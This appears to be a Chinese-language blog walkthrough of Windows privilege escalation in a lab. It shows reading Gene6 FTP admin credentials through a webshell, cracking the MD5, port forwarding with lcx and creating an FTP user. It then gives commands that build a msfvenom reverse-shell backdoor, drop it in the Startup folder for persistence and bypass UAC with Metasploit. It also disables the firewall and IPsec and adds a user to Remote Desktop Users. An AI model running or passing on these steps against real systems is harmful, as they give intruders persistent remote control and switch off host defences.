在webshell访问配置文件 C:\Program Files (x86)\Gene6 FTP Server\RemoteAdmin\Remote.ini
Windows提权_第104张图片

  1. md5解密获取密码

Windows提权_第105张图片

  1. 上传lcx

Windows提权_第106张图片

流量转发
/c C:\inetpub\wwwroot\lcx.exe -tran 2333 127.0.0.1 8021
Windows提权_第107张图片

  1. 确认lcx运行

新打开一个标签页访问webshell地址,查看一下开放的端口
Windows提权_第108张图片

  1. 本地G6 连接目标的G6

本机安装一下G6,新建一个连接
Windows提权_第109张图片

  1. 点开 users,鼠标右键新建一个用户

Windows提权_第110张图片

汉化了一下,看着舒服一些
Windows提权_第111张图片

  1. 添加一个site命令

目标是win2008,可能会失败
Windows提权_第112张图片

  1. 访问权限给全

Windows提权_第113张图片

  1. 物理机使用asuka用户直接访问ftp

命令行失败
Windows提权_第114张图片

图形化访问
Windows提权_第115张图片

接下来的思路就是使用上文介绍的 “系统服务权限配置错误 利用工具3:MSF

  1. 生成后门
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.239.141 lport=4444 -f exe >Program.exe
  1. msf开启监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.239.141
set lport 4444
exploit
  1. ftp上传后门,并重启靶机

来到路径:

ftp://192.168.239.165/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start%20Menu/Programs/Startup/

Windows提权_第116张图片

Windows提权_第117张图片

绕过uac

描述

UAC(UserAccount Control,用户账户控制),是在Vista及更高版本的windows系统中通过弹框进一步让用户确认是否授权当前可执行文件,来达到阻止恶意程序的目的。
Windows提权_第118张图片

为了远程执行目标exe或者bat文件,就需要绕过此安全机制,以此叫BypassUAC(不弹窗直接运行执行文件)

复现

kali生成个木马让靶机win10运行,以此先来获取一个session。此时的权限无法做一些敏感操作
Windows提权_第119张图片

  1. 搜索uac相关模块

一般情况下使用use exploit/windows/local/bypassuac

在这里插入图片描述

  1. 攻击失败,换用别的bypassUAC试试

使用:exploit/windows/local/bypassuac_injection
虽然是system权限,但是不能hashdump,说明权限不到位。
Windows提权_第120张图片

发现目标是64位的,我们注入的是32位的,这个时候迁移到64位的进程里面就好了
Windows提权_第121张图片

不一定迁移到哪个64位的进程里面才行,需要试试
Windows提权_第122张图片

远程终端问题集锦

提权问题经常伴随着远程桌面,这里请参见 潇湘信安 的笔记:查询和开启3389端口方式总结
额外的一些补充:

注册表查询端口号

方法1:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\

查看PortNumber字段的值是3389,说明开启了远程桌面
Windows提权_第123张图片

方法2:
下面的两条命令都能查询到PortNumber的字段的值是0xd3d

REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds" /s
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber

Windows提权_第124张图片

Windows提权_第125张图片

查看0x3d这个值是多少,发现是3389.

set /a Port=0xd3d

Windows提权_第126张图片

通过网络命令查询端口

方法1:

tasklist /svc | findstr "TermService"
netstat -ano | findstr "进程号"

Windows提权_第127张图片

Windows提权_第128张图片

方法2:

net start |find "Remote Desktop Services"

运行的服务中,有远程桌面的服务
Windows提权_第129张图片

关闭防火墙

确定了目标开启了3389还是连接不上的话,可能是目标防火墙在干扰。可以尝试使用lcx做隧道处理,或者关闭防火墙。
netsh advfirewall show allprofile state 查询状态
netsh advfirewall set allprofiles state off 关闭防火墙
net stop “Windows Firewall” 关闭防火墙
sc config sharedaccess start= disabled 禁用防火墙
net stop sharedaccess 关闭防火墙

关闭 ipsec

在关闭防火墙时,还是连接不上,可能是ipsec做了ip策略处理,导致连接失败。
可以使用命令 net stop "IPsec Policy Agent"

终端连接错误方法

目标选择了下图中的策略
Windows提权_第130张图片

物理机器连接失败
Windows提权_第131张图片

可以使用相同版本的终端进行连接,或者使用 xfreerdp连接会自动加密

  1. 换用相同版本的终端(使用win2012)

Windows提权_第132张图片

  1. 使用xfreerdp

Windows提权_第133张图片

加入远程桌面组

net localgroup "Remote Desktop Users" asuka /add

Windows提权_第134张图片

终端超出最大连接数

终端超出最大连接数时可用下面的命令来连接

mstsc /v:ip:3389 /console

Windows提权_第135张图片

参考

红队测试之Windows提权小结
Windows令牌窃取提权
【提权】Postgre&令牌窃取&进程注入
烂土豆JUICYPOTATO提权原理和利用
Windows提权笔记

你可能感兴趣的:(渗透测试,windows,安全,web安全)